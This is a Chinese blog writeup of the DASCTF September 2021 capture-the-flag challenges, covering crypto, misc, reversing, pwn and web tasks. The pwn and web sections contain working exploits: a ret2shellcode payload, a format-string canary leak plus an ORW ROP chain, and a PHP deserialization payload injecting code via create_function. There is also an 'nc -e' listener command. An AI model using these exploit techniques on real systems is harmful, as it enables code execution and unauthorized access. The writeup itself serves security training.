DASCTF Sept X 浙江工业大学秋季挑战赛 writeup

原创

拾光、 于 2021-09-26 10:09:19 发布 1994 收藏

分类专栏： ctf 文章标签： 安全

本文链接：https://blog.csdn.net/wdearzh/article/details/120482816

crypto-welcome 签到

已知n、m、c 求e，sage脚本

```
m = 739648036374925828533533389135235469446270843720814778923125450916230692273 01
c = 215722445111002169667993703977914321194637156163498001942293778430454430488 21
n = 2 ** 256
e=discrete_log(c,mod(m,n))
print(e)
#348528638011301491852389047620830236151 01
```

misc-Girlfriend’s account

需要脚本把大写金额转数字，网上找的脚本改下：

```python
import re
def aoligeiganle(amount):
    amount = amount.replace('\r\b','')
    amount = amount.strip()

    chinese_num = {'零': 0, '壹': 1, '贰': 2, '叁': 3, '肆': 4, '伍': 5, '陆': 6, '柒': 7, '捌': 8, '玖': 9}
    chinese_amount = {'分': 0.01, '角': 0.1, '元': 1, '拾': 10, '佰': 100, '仟': 1000, '圆': 1}
    amount_float = 0
    if '亿' in amount:
        yi = re.match(r'(.+)亿.*', amount).group(1)
        amount_yi = 0
        for i in chinese_amount:
            if i in yi:
                amount_yi += chinese_num[yi[yi.index(i) - 1]] * chinese_amount[i]
        if yi[-1] in chinese_num.keys():
            amount_yi += chinese_num[yi[-1]]
        amount_float += amount_yi * 100000000
        amount = re.sub(r'.+亿', '', amount, count=1)
    if '万' in amount:
        wan = re.match(r'(.+)万.*', amount).group(1)
        amount_wan = 0
        for i in chinese_amount:
            if i in wan:
                amount_wan += chinese_num[wan[wan.index(i) - 1]] * chinese_amount[i]
        if wan[-1] in chinese_num.keys():
            amount_wan += chinese_num[wan[-1]]
        amount_float += amount_wan * 10000
        amount = re.sub(r'.+万', '', amount, count=1)

    amount_yuan = 0
    for i in chinese_amount:
        if i in amount:
            if amount[amount.index(i) - 1] in chinese_num.keys():
                amount_yuan += chinese_num[amount[amount.index(i) - 1]] * chinese_amount[i]
    amount_float += amount_yuan

    return round(amount_float,2)

def getnum(bigg):
    big = bigg.replace('\r\b','')
    bigg = bigg.strip()
    chinese_num = {'零': 0, '壹': 1, '贰': 2, '叁': 3, '肆': 4, '伍': 5, '陆': 6, '柒': 7, '捌': 8, '玖': 9}
    return chinese_num[bigg]

a=aoligeiganle("肆佰陆拾柒元叁角肆分")
print(a)
f1=open('misc1.txt','rb')
f2=open('misc2.txt','rb')
sum=0
for i in range(5000):
    d1=f1.readline().decode()
    d2=f2.readline().decode()
    r1=aoligeiganle(d1)
    r2=getnum(d2)
    print(r1,r2,r1*r2)
    sum += r1*r2
print(sum)
```

re-ea5ycpp

brainfuck编码处理 具体执行步骤如下，分析后得到算法很简单 第一个字节加2 第二个+3...

```
>>>>>>>>>>>>>>>>>>>>>>>>++[<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>>>>+++[<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>>>++++[<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>>+++++[<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>>++++++[<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>>+++++++[<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>>++++++++[<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>>+++++++++[<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>>++++++++++[<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>+++++++++++[<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>-]<<<<<<<<<<<<<<
>>>>>>>>>>>>>>++++++++++++[<<<<<<<<<<<<<<+>>>>>>>>>>>>>>-]<<<<<<<<<<<<<
>>>>>>>>>>>>>+++++++++++++[<<<<<<<<<<<<<+>>>>>>>>>>>>>-]<<<<<<<<<<<<
>>>>>>>>>>>>++++++++++++++[<<<<<<<<<<<<+>>>>>>>>>>>>-]<<<<<<<<<<<
>>>>>>>>>>>+++++++++++++++[<<<<<<<<<<<+>>>>>>>>>>>-]<<<<<<<<<<
>>>>>>>>>>++++++++++++++++[<<<<<<<<<<+>>>>>>>>>>-]<<<<<<<<<
>>>>>>>>>+++++++++++++++++[<<<<<<<<<+>>>>>>>>>-]<<<<<<<<
>>>>>>>>++++++++++++++++++[<<<<<<<<+>>>>>>>>-]<<<<<<<
>>>>>>>+++++++++++++++++++[<<<<<<<+>>>>>>>-]<<<<<<
>>>>>>++++++++++++++++++++[<<<<<<+>>>>>>-]<<<<<
>>>>>+++++++++++++++++++++[<<<<<+>>>>>-]<<<<
>>>>++++++++++++++++++++++[<<<<+>>>>-]<<<
>>>+++++++++++++++++++++++[<<<+>>>-]<<
>>++++++++++++++++++++++++[<<+>>-]<
>+++++++++++++++++++++++++[<+>-]
```

exp：

```
v15 = [ _ for _ in range(24)]
v15[0] = 0x68;
v15[1] = 0x6F;
v15[2] = 0x65;
v15[3] = 0x6C;
v15[4] = 0x81;
v15[5] = 0x69;
v15[6] = 0x7A;
v15[7] = 0x3D;
v15[8] = 0x3B;
v15[9] = 0x79;
v15[10] = 0x6B;
v15[11] = 0x73;
v15[12] = 0x38;
v15[13] = 0x39;
v15[14] = 0x7B;
v15[15] = 0x70;
v15[16] = 0x7B;
v15[17] = 0x48;
v15[18] = 0x73;
v15[19] = 0x7C;
v15[20] = 0x85;
v15[21] = 0x47;
v15[22] = 0x7C;
v15[23] = 0x96;

flag=''
for i in range(24):
 flag += chr(v15[i] - (2+i))
print(flag)
```

re-pig-brain_king

运行需要三个dll 网上找下。

msvcp140D.dl
vcruntime140d.dll
ucrtbased.dll

分析一下程序，把擦除答案的代码nop掉，把两个sleep nop掉。

用pwntools自动化解一下

```
nc -l -p 8081  -e ./re-pig_brain_king.exe
```

exp：

```
#encoding=utf-8
from pwn import *
import time
context.log_level = 'debug'
r = remote('172.17.208.1',8081)

for i in range(1001):
    r.recvuntil("Now start doing the questions!\r\n")
    time.sleep(0.1)
    ans=r.recvline()[:-2]
    print("ans:",ans)
    r.sendlineafter("Please enter:", ans)
r.interactive()
```

pwn-hehepwn

ret2shellcode

exp:

```
#encoding=utf-8
from pwn import *
#from LibcSearcher import *
#import time
context(os='linux',arch='amd64')
#context(os='linux',arch='i386')
#context.arch = 'amd64'
#context.log_level = 'debug'
#context.terminal = ['tmux','splitw','-h']
r = remote('node4.buuoj.cn',25603)
fpath = '/home/kali/ctf/pwn/ti/dasctf/bypwn'
#r = process(fpath)
elf = ELF(fpath)
libc = elf.libc

#gdb.attach(r,"b *0x40085D")
r.sendlineafter("well you input:", b"a"*32)
rbp_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("rbp_addr:",hex(rbp_addr))
sh = shellcraft.sh()
print(sh)
payload = asm(sh)
print("bufaddr:",hex(rbp_addr-0x50))
payload = payload.ljust(0x58,b'\x90') + p64(rbp_addr-0x50)
print(payload)
#gdb.attach(r,"b *0x4008B2")
r.sendline(payload)
r.interactive()
```

pwn-hahapwn

1、字符串格式化 泄露canary和栈地址。

2、ROP构建ORW读取flag

exp：

```
#encoding=utf-8
from pwn import *
```

```python
from pwn import *
#from LibcSearcher import *
#import time
context(os='linux',arch='amd64')
#context(os='linux',arch='i386')
#context.arch = 'amd64'
context.log_level = 'debug'
#context.terminal = ['tmux','splitw','-h']

fpath = '/home/kali/ctf/pwn/ti/dasctf/hahapwn/pwn'
r = remote('node4.buuoj.cn',26268)
#r = process(fpath)
elf = ELF(fpath)
libc = elf.libc

payload = '%27$p'
r.sendlineafter("Welcome! What is your name?\n", payload)
r.recvuntil("Hello \n")
canary = r.recvline()[:-1]
canary=int(canary, 16)
print("canary:",hex(canary))

poprdi_addr = 0x400943
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = 0x400630

payload=b'a' * (0x70 - 8) + p64(canary) +p64(0)+p64(poprdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter("What can we help you?\n", payload)
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr:"+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("libc_base:"+hex(libc_base))

################################################## 第二轮  获取flag地址   ROP ORW
payload = '%28$paaaflag\0'
#gdb.attach(r,'b * 0x400786')
r.sendlineafter("Welcome! What is your name?\n", payload)

r.recvuntil("Hello \n")
flag_addr = r.recvuntil("aaaflag",True)
flag_addr=int(flag_addr, 16) - 0xf8
print("flag_addr:",hex(flag_addr))
#r.interactive()

alarm_addr = libc_base+libc.symbols['alarm']
print("alarm_addr:"+hex(alarm_addr))
syscall_addr = alarm_addr+5

poprdi_addr = 0x400943
data_addr = elf.bss()
poprsi_addr = 0x400941
poprax_addr = 0x000000000003a738 + libc_base
poprdx_addr = 0x0000000000001b92+libc_base

payload=b'a' * (0x70 - 8) + p64(canary) +p64(0)
#open
payload += p64(poprdi_addr) + p64(flag_addr) +  p64(poprsi_addr) + p64(0) + p64(0) + p64(poprax_addr) + p64(2) +
 p64(syscall_addr)
#read
```

```
payload += p64(poprdi_addr) + p64(3) +  p64(poprsi_addr) + p64(data_addr) + p64(0) + p64(poprdx_addr)  + p64(64)
 + p64(poprax_addr) + p64(0) + p64(syscall_addr)
#write
payload += p64(poprdi_addr) + p64(1) +  p64(poprsi_addr) + p64(data_addr) + p64(0) + p64(poprdx_addr)  + p64(64)
 + p64(poprax_addr) + p64(1) + p64(syscall_addr)

r.sendlineafter("What can we help you?\n", payload)
r.interactive()
```

web-hellounser

```
$a = new A();
$b = new B();

$b->func = "create_function";
$b->arg = "};var_dump(get_defined_vars());//";
$a->var = $b;

echo urlencode(serialize($a));
//O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A15%3A%22create_
function%22%3Bs%3A3%3A%22arg%22%3Bs%3A33%3A%22%7D%3Bvar_dump%28get_defined_vars%28%29%29%3B%2F%2F%22%3B%7D%7D
```

得到：

array(2) { [“func”]=> string(15) “create_function” [“FakeFlag”]=> string(33) “fl4g{TrueFlag_is_in_Tru3flag.php}” }

Nice Job!!

```
$a = new A();
$b = new B();
$b->func = "create_function";
$b->arg = "};require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//";
$a->var = $b;

echo urlencode(serialize($a));
//O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A15%3A%22create_
function%22%3Bs%3A3%3A%22arg%22%3Bs%3A74%3A%22%7D%3Brequire%28base64_decode%28VHJ1M2ZsYWcucGhw%29%29%3Bvar_dump%
28get_defined_vars%28%29%29%3B%2F%2F%22%3B%7D%7D
```

得到flag

```
array(3) { ["func"]=> string(15) "create_function" ["FakeFlag"]=> string(33) "fl4g{TrueFlag_is_in_Tru3flag.php}"
 ["TrueFlag"]=> string(42) "flag{97914075-0eca-4ced-bc37-c79722657323}" }
Nice Job!!
```